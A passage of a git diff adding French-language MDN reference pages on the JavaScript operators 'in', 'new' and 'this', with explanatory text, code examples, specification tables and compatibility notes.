+ <dt><code>propriété</code></dt>
+ <dd>Une expression évaluée en un nombre ou une chaîne de caractères qui représente le nom d'une propriété ou l'indice d'un tableau.</dd>
+</dl>
+
+<dl>
+ <dt><code>nomObjet</code></dt>
+ <dd>Le nom de l'objet qu'on souhaite inspecter.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les exemples suivants illustrent certaines utilisation de l'opérateur <code>in</code>.</p>
+
+<pre class="brush: js">// Tableaux
+var arbres = ["sapin", "hêtre", "cèdre", "chêne", "érable"];
+0 in arbres        // renvoie true
+3 in arbres        // renvoie true
+6 in arbres        // renvoie false
+"hêtre" in arbres  // renvoie false (l'indice doit être spécifié, pas la valeur à cet indice)
+"length" in arbres // renvoie true (length est une propriété des objets Array)
+Symbol.iterator in arbres // renvoie true (les tableaux sont itérables, à partir d'ES6)
+
+// Objets prédéfinis
+"PI" in Math           // renvoie true
+var ma_chaine = new String("corail");
+"length" in ma_chaine  // renvoie true
+
+// Objets personnalisés
+var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
+"marque" in voiture  // renvoie true
+"modèle" in voiture  // renvoie true
+"marque" in voiture // renvoie true
+"Accord" in voiture // renvoie false
+</pre>
+
+<p>L'opérande droit doit toujours être du type objet (et pas un autre type primitif). Par exemple, on peut utiliser une  chaîne créée avec le constructeur <code>String</code>, mais pas une chaîne littérale.</p>
+
+<pre class="brush: js">var couleur1 = new String("vert");
+"length" in couleur1 // renvoie true
+var couleur2 = "corail";
+"length" in couleur2 // génère une erreur (couleur n'est pas un objet String)
+</pre>
+
+<h3 id="Utilisation_de_l'opérateur_in_avec_des_propriétés_supprimées_ou_indéfinies">Utilisation de l'opérateur <code>in</code> avec des propriétés supprimées ou indéfinies</h3>
+
+<p>Si une propriété est supprimée avec l'opérateur <code><a href="fr/R%c3%a9f%c3%a9rence_de_JavaScript_1.5_Core/Op%c3%a9rateurs/Op%c3%a9rateurs_sp%c3%a9ciaux/L'op%c3%a9rateur_delete">delete</a></code>, l'opérateur <code>in</code> renvoie <code>false</code> pour cette propriété.</p>
+
+<pre class="brush: js">var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
+delete voiture.marque;
+"marque" in voiture  // renvoie false
+
+var arbres = new Array("sapin", "hêtre", "cèdre", "chêne", "érable");
+delete arbres[3];
+3 in arbres // renvoie false
+</pre>
+
+<p>Si une propriété est définie à {{jsxref("Objets_globaux/undefined", "undefined")}} mais n'est pas supprimée, l'opérateur <code>in</code> renverra <code>true</code> pour cette propriété.</p>
+
+<pre class="brush: js">var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
+voiture.marque = undefined;
+"marque" in voiture  // renvoie true
+
+var arbres = new Array("sapin", "hêtre", "cèdre", "chêne", "érable");
+arbres[3] = undefined;
+3 in arbres // renvoie true
+</pre>
+
+<h3 id="Propriétés_héritées">Propriétés héritées</h3>
+
+<p>L'opérateur <code>in</code> renvoie <code>true</code> pour les propriétés qui appartiennent à la chaîne de prototypes. SI on souhaite la présence d'une propriété non-héritée, on utilisera plutôt {{jsxref("Object.prototype.hasOwnProperty()")}}.</p>
+
+<pre class="brush: js">"toString" in {}; // renvoie true</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-relational-operators', 'Opérateurs relationnels')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.7', 'Opérateur in')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.7', 'Opérateurs in')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.4.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.in")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...in","for...in")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_delete","delete")}}</li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Caractère énumérable des propriétés et rattachement</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_new/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_new/index.html
new file mode 100644
index 0000000000..b82a898dc9
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_new/index.html
@@ -0,0 +1,200 @@
+---
+title: L'opérateur new
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_new
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/new
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>opérateur <code>new</code></strong> permet de créer une instance d'un certain type d'objet à partir du constructeur qui existe pour celui-ci (natif ou défini par l'utilisateur).</p>
+
+<p>Le mot-clé <code>new</code>, utilisé avec une fonction, applique les 4 étapes suivantes :</p>
+
+<ol>
+ <li>Il crée un nouvel objet à partir de zéro</li>
+ <li>Il lie cet objet à un autre objet en le définissant comme son prototype.</li>
+ <li>Le nouvel objet, créé à l'étape 1, est passé comme valeur <code>this</code> à la fonction</li>
+ <li>Si la fonction ne renvoie pas d'objet, c'est la valeur <code>this</code> qui est renvoyée.</li>
+</ol>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new <em>constructeur</em>[([<em>arguments</em>])]</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>constructeur</code></dt>
+ <dd>Une fonction ou une classe qui définit le type de l'objet qui sera une instance.</dd>
+</dl>
+
+<dl>
+ <dt><code>arguments</code></dt>
+ <dd>Une liste de valeurs correspondant aux arguments avec lesquels appeler le <code>constructeur</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La création d'un objet personnalisé se fait en deux étapes :</p>
+
+<ol>
+ <li>Définition du type d'objet en écrivant une fonction.</li>
+ <li>Création d'une instance de l'objet avec <code>new</code>.</li>
+</ol>
+
+<p>Pour définir un type d'objet, créez une fonction pour ce type qui spécifie son nom, ses propriétés et ses méthodes. Un objet peut avoir des propriétés qui sont elles-mêmes des objets, comme on pourra le voir dans les exemples ci-dessous.</p>
+
+<p>Lorsque le code <code>new <em>Toto</em>(...)</code> est exécuté, voici ce qui se passe :</p>
+
+<ol>
+ <li>Un nouvel objet est créé qui hérite de <code><em>Toto</em>.prototype</code>.</li>
+ <li>La fonction constructrice <code><em>Toto</em></code> est appelée avec les arguments fournis, <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">this</a></code> étant lié au nouvel objet créé. <code>new <em>Toto</em></code> sera équivalent à <code>new <em>Toto</em>()</code> (i.e. un appel sans argument).</li>
+ <li>L'objet renvoyé par le constructeur devient le résultat de l'expression qui contient <code>new</code>. Si le constructeur ne renvoie pas d'objet de façon explicite, l'objet créé à l'étape 1 sera utilisé. (En général, les constructeurs ne renvoient pas de valeurs mais si on souhaite surcharger le processus habituel, on peut utiliser cette valeur de retour).</li>
+</ol>
+
+<p>Il est toujours possible d'ajouter une propriété à un objet défini précédemment. Par exemple, l'instruction <code>voiture1.couleur = "noir"</code> ajoute une propriété couleur à <code>voiture1</code>, et lui assigne une valeur : "<code>noir</code>". Cependant, ceci n'affecte aucunement les autres objets. Pour ajouter une nouvelle propriété à tous les objets du même type, cette propriété doit être ajoutée à la définition du type d'objet <code>Voiture</code>.</p>
+
+<p>Il est possible d'ajouter une propriété partagée par tous les objets d'un type déjà défini auparavant en utilisant sa propriété <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype">Function.prototype</a></code>. Ceci permet de définir une propriété partagée par tous les objets créés avec cette fonction, plutôt que simplement par une seule instance de ce type d'objet. Le code qui suit ajoute une propriété couleur avec la valeur <code>"couleur standard"</code> à tous les objets de type <code>Voiture</code>, et redéfinit ensuite cette valeur avec la chaîne "<code>noir</code>" uniquement pour l'instance d'objet <code>voiture1</code>. Pour plus d'informations, voir la page sur <a href="/fr/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a>.</p>
+
+<pre class="brush: js">function Voiture() {}
+voiture1 = new Voiture();
+voiture2 = new Voiture();
+
+console.log(voiture1.couleur);            // undefined
+
+Voiture.prototype.couleur = "couleur standard";
+console.log(voiture1.couleur);            // couleur standard
+
+voiture1.couleur = "noir";
+console.log(voiture1.couleur);            // noir
+
+console.log(voiture1.__proto__.couleur);  // couleur standard
+console.log(voiture2.__proto__.couleur);  // couleur standard
+console.log(voiture1.couleur);            // noir
+console.log(voiture2.couleur);            // couleur standard
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Si on n'écrit pas l'appel du constructeur avec l'opérateur <code>new</code>, le constructeur est appelé comme une fonction normale et ne crée pas d'objet. Dans ce cas, la valeur de <code>this</code> sera différente.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_type_d'objet_et_instance_d'objet">Exemple : type d'objet et instance d'objet</h3>
+
+<p>Supposons que vous vouliez créer un type d'objet pour les voitures. Vous voulez que ce type d'objet s'appelle <code>Voiture</code>, et qu'il ait des propriétés pour la marque, le modèle et l'année. Pour ce faire, vous écririez la fonction suivante :</p>
+
+<pre class="brush: js">function Voiture(marque, modèle, année) {
+   this.marque = marque;
+   this.modèle = modèle;
+   this.année = année;
+}
+</pre>
+
+<p>À présent, vous pouvez créer un objet appelé <code>ma_voiture</code> de la manière suivante :</p>
+
+<pre class="brush: js">ma_voiture = new Voiture("Volkswagen", "Golf TDi", 1997);
+</pre>
+
+<p>Cette instruction crée l'objet <code>ma_voiture</code> et assigne les valeurs spécifiées à ses propriétés. La valeur de <code>ma_voiture.marque</code> est alors la chaîne <code>"Volkswagen"</code>, celle de <code>ma_voiture.année</code> est l'entier 1997, et ainsi de suite.</p>
+
+<p>Il est possible de créer un nombre illimité d'objets <code>Voiture</code> en appelant <code>new</code>. Par exemple :</p>
+
+<pre class="brush: js">voiture_de_ken = new Voiture("Nissan", "300ZX", 1992);
+</pre>
+
+<h3 id="Exemple_propriété_d'objet_qui_est_elle-même_un_autre_objet">Exemple : propriété d'objet qui est elle-même un autre objet</h3>
+
+<p>Supposons que vous ayez défini un objet appelé <code>Personne</code> de la manière suivante :</p>
+
+<pre class="brush: js">function Personne(nom, age, surnom) {
+   this.nom = nom;
+   this.age = age;
+   this.surnom = surnom;
+}
+</pre>
+
+<p>Et que vous avez ensuite instancié deux nouveaux objets <code>Personne</code> de la manière suivante :</p>
+
+<pre class="brush: js">rand = new Personne("Rand McNally", 33, "Randy");
+ken = new Personne("Ken Jones", 39, "Kenny");
+</pre>
+
+<p>Vous pouvez alors réécrire la définition de <code>Voiture</code> pour contenir une propriété <code>propriétaire</code> qui reçoit un objet <code>Personne</code>, comme ceci :</p>
+
+<pre class="brush: js">function Voiture(marque, modèle, année, propriétaire) {
+   this.marque = marque;
+   this.modèle = modèle;
+   this.année = année;
+   this.propriétaire = propriétaire;
+}
+</pre>
+
+<p>Pour instancier les nouveaux objets, vous utiliserez ensuite :</p>
+
+<pre class="brush: js">voiture1 = new Voiture("Volkswagen", "Golf TDi", 1997, rand);
+voiture2 = new Voiture("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>Plutôt que de passer une chaîne littérale ou une valeur entière lors de la création des nouveaux objets, les instructions ci-dessus utilisent les objets <code>rand</code> et <code>ken</code> comme paramètres pour les propriétaires. Pour connaître le nom du propriétaire de <code>voiture2</code>, on peut alors accéder à la propriété suivante :</p>
+
+<pre class="brush: js">voiture2.propriétaire.nom
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-new-operator', 'Opérateur new')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-new-operator', 'Opérateur new')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.2.2', 'Opérateur new')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.2.2', 'Opérateur new')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.2.2', 'Opérateur new')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.new")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_this/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_this/index.html
new file mode 100644
index 0000000000..a5b23ca81d
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_this/index.html
@@ -0,0 +1,420 @@
+---
+title: L'opérateur this
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_this
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>En JavaScript, <strong>le mot-clé <code>this</code></strong> se comporte légèrement différemment des autres langages de programmation. Son comportement variera également légèrement selon qu'on utilise le <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> ou le mode non-strict.</p>
+
+<p>Dans la plupart des cas, la valeur de <code>this</code> sera déterminée à partir de la façon dont une fonction est appelée. Il n'est pas possible de lui affecter une valeur lors de l'exécution et sa valeur peut être différente à chaque fois que la fonction est appelée. La méthode {{jsxref("Function.prototype.bind()","bind()")}} a été introduite avec ECMAScript 5 pour <a href="#bind">définir la valeur de <code>this</code> pour une fonction, indépendamment de la façon dont elle est appelée</a>. ECMAScript 2015 (ES6) a ajouté <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">les fonctions fléchées</a> dans lesquelles <code>this</code> correspond à la valeur du contexte englobant.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">this</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>L'objet JavaScript représentant le contexte dans lequel le code courant est exécuté.</p>
+
+<h2 id="Dans_le_contexte_global">Dans le contexte global</h2>
+
+<p>Dans le contexte global d'exécution (c'est-à-dire, celui en dehors de toute fonction), <code>this</code> fait référence à l'objet global (qu'on utilise ou non le mode strict).</p>
+
+<pre class="brush:js">// Si l'environnement de script est un navigateur,
+// l'objet window sera l'objet global
+console.log(this === window); // true
+
+this.a = 37;
+console.log(window.a); // 37
+
+this.b = "MDN";
+console.log(window.b); // "MDN"
+console.log(b);        // "MDN"
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Il est également possible d'accéder au contexte global avec la propriété {{jsxref("globalThis")}} quel que soit le contexte utilisé pour l'exécution.</p>
+</div>
+
+<h2 id="Dans_le_contexte_dune_fonction">Dans le contexte d'une fonction</h2>
+
+<p>S'il est utilisé dans une fonction, la valeur de <code>this</code> dépendra de la façon dont la fonction a été appelée.</p>
+
+<h3 id="Avec_un_appel_simple">Avec un appel simple</h3>
+
+<pre class="brush:js">function f1(){
+  return this;
+}
+
+// Dans un navigateur
+f1() === window; // true (objet global)
+
+// Côté serveur (ex. Node)
+f1() === global; // true
+</pre>
+
+<p>Dans cet exemple, la valeur de <code>this</code> n'est pas définie lors de l'appel. Le code n'étant pas en mode strict, <code>this</code> doit toujours être un objet et ce sera donc l'objet global (soit {{domxref("Window", "window")}} pour un navigateur).</p>
+
+<pre class="brush:js">function f2(){
+  "use strict"; // on utilise le mode strict
+  return this;
+}
+
+f2() === undefined; // true
+</pre>
+
+<p>En mode strict, la valeur de <code>this</code> est conservée (il reste le même) entre le moment de sa définition et l'entrée dans le contexte d'exécution. S'il n'est pas défini, il reste <code>undefined</code>. Il pourrait être défini avec n'importe quelle autre valeur, telle que <code>null</code> ou <code>42</code> ou <code>"Je ne suis pas this"</code>.</p>
+
+<div class="note"><strong>Note :</strong> Dans ce deuxième exemple,<code>this</code> vaut {{jsxref("undefined")}} car <code>f2</code> a été appelé sans « base » (ex. : <code>window.f2()</code>). Cette fonctionnalité ne fut pas correctement implémentée dans certains navigateurs aux débuts du mode strict, en effet, certains renvoyaient alors l'objet <code>window</code>.</div>
+
+<h3 id="call_et_apply"><code>call</code> et <code>apply</code></h3>
+
+<p>Pour passer <code>this</code> d'un contexte à un autre, on pourra utiliser {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} :</p>
+
+<pre class="brush: js">// Un objet peut être passé en premier argument
+// de call ou de apply
+var obj = { a: "Toto" };
+
+// Ici, on déclare une variable et la variable est affectée à l'objet global window comme propriété de celui-ci
+var a = "Global";
+
+function whatsThis(arg) {
+  // La valeur de this ici dépend de la façon
+  // dont la fonction est appelée
+  return this.a;
+}
+
+whatsThis();          // 'Global' car celui-ci dans la fonction n'est pas défini, il est donc défini par défaut sur l'objet global window
+whatsThis.call(obj);  // "Toto"
+whatsThis.apply(obj); // "Toto"
+</pre>
+
+<p>Lorsque le mot-clé <code>this</code> est utilisé dans le corps d'une fonction, il est possible d'utiliser les méthodes {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} pour lier <code>this</code> à un objet donné. Toutes les fonctions héritent de ces méthodes grâce à {{jsxref("Function.prototype")}}.</p>
+
+<pre class="brush:js">function ajout(c, d){
+  return this.a + this.b + c + d;
+}
+
+var o = {a:1, b:3};
+
+// Le premier paramètre correspond à l'objet qu'on souhaite
+// lier à 'this', les paramètres suivants sont les arguments
+// à utiliser dans l'appel de la fonction
+ajout.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
+
+// Le premier paramètre correspond à l'objet qu'on souhaite
+// lier à 'this', le second paramètre est le tableau dont les
+// les éléments sont les arguments à passer à la fonction
+ajout.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
+</pre>
+
+<p>Note : En mode non-strict, si la valeur à lier à <code>this</code>, passée à <code>call</code> ou <code>apply</code>, n'est pas un objet, le moteur JavaScript tentera de la convertir en un objet grâce à l'opération interne <code>ToObject</code>. Si la valeur est d'un type primitif autre qu'objet, <code>7</code> ou <code>'toto'</code> par exemple, elle sera convertie en un objet grâce au constructeur associé. Ainsi, on aura le nombre <code>7</code> converti en un objet grâce à <code>new Number(7)</code> et la chaîne <code>'toto'</code> convertie en objet grâce à <code>new String('toto')</code>.</p>
+
+<pre class="brush:js">function truc() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+truc.call(7);     // [object Number]
+truc.call('foo'); // [object String]
+</pre>
+
+<h3 id="La_méthode_bind">La méthode <code>bind</code></h3>
+
+<p>Avec ECMAScript 5, une nouvelle fonction fut introduite : {{jsxref("Function.prototype.bind()")}}. Lorsqu'on appelle <code>f.bind(unObjet)</code>, on crée une nouvelle fonction qui possède le même corps et la même portée que <code>f</code>, mais où <code>this</code> sera lié, de façon permanente, au premier argument passé à <code>bind</code>, quelle que soit la façon dont la méthode est utilisée.</p>
+
+<pre class="brush:js">function f(){
+  return this.a;
+}
+
+var g = f.bind({a:"azerty"});
+console.log(g()); // azerty
+
+var h = g.bind({a:"coucou"}); // bind ne fonctionne qu'une seule fois
+console.log(h()); // azerty
+
+var o = {a:37, f:f, g:g, h:h};
+console.log(o.a, o.f(), o.g(), o.h()); // 37, 37, azerty, azerty
+</pre>
+
+<h3 id="Avec_les_fonctions_fléchées">Avec les fonctions fléchées</h3>
+
+<p>En utilisant <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">les fonctions fléchées</a>, <code>this</code> correspond à la valeur de <code>this</code> utilisé dans le contexte englobant. Lorsqu'on utilise une fonction fléchée dans du code global, <code>this</code> sera l'objet global :</p>
+
+<pre class="brush: js">var objetGlobal = this;
+var toto = (() =&gt; this);
+console.log(toto() === objetGlobal); // true</pre>
+
+<p>Peu importe la façon dont <code>toto</code> sera appelée, <code>this</code> sera toujours l'objet global. Cela est également valable pour les méthodes d'objet (où généralement <code>this</code> correspond à l'objet courant) ou lorsque <code>call</code>, <code>apply</code> ou <code>bind</code> sont utilisés :</p>
+
+<pre class="brush: js">// Appelé comme la méthode d'un objet
+var obj = {toto: toto};
+console.log(obj.toto() === objetGlobal); // true
+
+// Ici on utilise call
+console.log(toto.call(obj) === objetGlobal); // true
+// Là on utilise bind
+toto = toto.bind(obj);
+console.log(toto() === objetGlobal); // true</pre>
+
+<p>Quelle que soit la méthode utilisée le <code>this</code> de <code>toto</code> sera défini avec la valeur qu'il avait lors de la création (dans l'exemple précédent, il s'agit de l'objet global). Cela vaut également pour les fonctions fléchées créées dans d'autres fonctions : <code>this</code> prendra la valeur de <code>this</code> dans le contexte englobant.</p>
+
+<pre class="brush: js">// On crée un objet obj qui a une méthode truc
+// qui renvoie une fonction qui renvoie la
+// valeur de this.
+// La fonction qui est renvoyée est créée sous
+// la forme d'une fonction fléchée. this est
+// donc fixé de façon permanente avec la valeur
+// de this du contexte englobant.
+var obj = { truc : function() {
+                    var x = (() =&gt; this);
+                    return x;
+                  }
+          };
+// On appelle truc comme une méthode d'obj, this
+// vaudra donc obj. On récupère la fonction
+// renvoyée par truc et on en stocke une référence
+// avec la variable fn
+var fn = obj.truc();
+
+// On appelle fn sans définir this, par défaut
+// en mode strict cela correspondrait à l'objet
+// global ou à undefined
+console.log(fn() === obj); // true
+
+// Attention à ne pas référence la méthode d'obj
+// sans l'appeler
+var fn2 = obj.truc;
+// Appeler le this de la fonction fléchée dans ce contexte
+// renverra window car c'est le this associé à fn2 (qui
+// correspond au contexte global)
+console.log(fn2()() == window); // true</pre>
+
+<p>Dans l'exemple précédent, la fonction affectée à <code>obj.truc</code> renvoie une autre fonction créée sous la forme d'une fonction fléchée. Par conséquent, <code>this</code> vaut toujours <code>obj.truc</code> lorsque la fonction est appelée. Lorsque la fonction est renvoyée, <code>this</code> continue de correspondre à la valeur initiale. Dans ce code, <code>this</code> vaut <code>obj</code> et garde cette valeur, même lorsqu'il est appelé plus tard.</p>
+
+<h3 id="En_tant_que_méthode_dun_objet">En tant que méthode d'un objet</h3>
+
+<p>Lorsqu'une fonction est appelée comme méthode d'un objet, <code>this</code> correspondra à l'objet possédant la méthode qu'on appelle.</p>
+
+<p>Ainsi, dans l'exemple suivant, lorsqu'on appelle <code>o.f()</code>, le <code>this</code> contenu à l'intérieur de la fonction correspond à l'objet <code>o</code>.</p>
+
+<pre class="brush:js">var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // 37
+</pre>
+
+<p>On notera que ce comportement n'est pas du tout affecté par la façon ou l'endroit de la définition de la fonction. Dans l'exemple précédent, on aurait très bien pu définir la fonction plus tard et la rattacher à une propriété de <code>o</code> plutôt que de la déclarer de cette façon. On aura le même résultat en faisant ainsi :</p>
+
+<pre class="brush:js">var o = {prop: 37};
+
+function indépendante() {
+  return this.prop;
+}
+
+o.f = indépendante;
+
+console.log(o.f()); // 37
+</pre>
+
+<p>On voit ici que ce qui importe est la façon dont la fonction est appelée et non pas la façon dont elle est définie. Ici la fonction est appelée comme une propriété (méthode) de <code>o</code>.</p>
+
+<p>De la même façon, <code>this</code> n'est affecté que par la référence la plus proche. Autrement dit, dans l'exemple suivant quand on appelle la fonction <code>o.b.g</code>, on appelle la méthode <code>g</code> de l'objet <code>o.b</code>. Ainsi, au moment de l'exécution, <code>this</code> fera référence à <code>o.b</code>. Le fait que cet objet soit une propriété de <code>o</code> n'a aucun impact : seule la référence objet la plus proche compte.</p>
+
+<pre class="brush:js">o.b = {g: indépendante, prop: 42};
+console.log(o.b.g()); // 42
+</pre>
+
+<h4 id="this_sur_la_chaîne_de_prototypes_de_lobjet"><code>this</code> sur la chaîne de prototypes de l'objet</h4>
+
+<p>Ce qui a été vu ci-avant est également applicable pour les méthodes qui sont présentes sur la chaîne de prototypes de l'objet. Si une méthode se situe sur la chaîne de prototype, <code>this</code> fera référence à l'objet appelant (de la même façon que si la méthode était une propriété directe de l'objet).</p>
+
+<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>Dans cet exemple, l'objet qui est affecté à la variable <code>p</code> ne possède pas directement la propriété <code>f</code>, il en hérite de par son prototype. Cela n'impacte en rien la détermination de <code>this</code> car la recherche de la propriété <code>f</code> remonte le long de la chaîne de prototype et s'arrête à <code>o</code>. Au début de cette recherche, on a une référence à <code>p.f</code>, aussi <code>this</code> fera référence à l'objet représenté par <code>p</code>. Autrement dit <code>f</code> étant appelé comme une méthode de <code>p</code>, <code>this</code> fera ici référence à <code>p</code>. Cette fonctionnalité fait partie des caractéristiques de l'héritage prototypal de JavaScript.</p>
+
+<h4 id="this_dans_un_getter_ou_setter"><code>this</code> dans un <em>getter</em> ou <em>setter</em></h4>
+
+<p>Ici aussi, on a le même principe lorsque la fonction est appelée à partir d'un accesseur (<em>getter</em>) ou d'un mutateur (<em>setter</em>). Une fonction utilisée comme accesseur ou mutateur verra son <code>this</code> lié à l'objet à partir duquel on souhaite accéder/changer la propriété.</p>
+
+<pre class="brush:js">function moduleRéel(){
+  return Math.sqrt(this.re * this.re + this.im * this.im);
+}
+
+var o = {
+  re: 1,
+  im: -1,
+  get phase(){
+    return Math.atan2(this.im, this.re);
+  }
+};
+
+Object.defineProperty(o, 'moduleRéel', {
+    get: moduleRéel, enumerable:true, configurable:true});
+
+console.log(o.phase, o.moduleRéel); // logs -0.78 1.4142
+</pre>
+
+<h3 id="En_tant_que_constructeur">En tant que constructeur</h3>
+
+<p>Lorsqu'une fonction est utilisée comme constructeur (c'est-à-dire qu'elle est invoquée avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new","new")}}), le <code>this</code> correspondant sera lié au nouvel objet en train d'être construit.</p>
+
+<div class="note">
+<p><strong>Note : </strong>Par défaut, un constructeur renverra l'objet auquel <code>this</code> fait référence. Cependant si la valeur de retour du constructeur est définie et est un objet, ce sera elle qui sera renvoyée (sinon ce sera la valeur de <code>this</code>).</p>
+</div>
+
+<pre class="brush:js">/*
+ * Les constructeurs fonctionnent de la façon suivante :
+ *
+ * function MonConstructeur(){
+ *   // le corps de la fonction
+ *   // on crée des propriétés sur |this|
+ *   // par exemple
+ *   this.fum = "nom";
+ *   // etc.
+ *
+ *   // Si la fonction utilise une instruction de
+ *   // retour (return) et renvoie un objet
+ *   // ce sera cet objet qui sera le résultat de
+ *   // l'expression |new|.
+ *   // Sinon, le résultat sera l'objet
+ *   // lié à |this|
+ *   // (ce second cas est celui qu'on rencontre
+ *   // fréquemment).
+ * }
+ */
+
+function C(){
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // 37
+
+
+function C2(){
+  this.a = 37;
+  return {a:38};
+}
+
+o = new C2();
+console.log(o.a); // 38
+</pre>
+
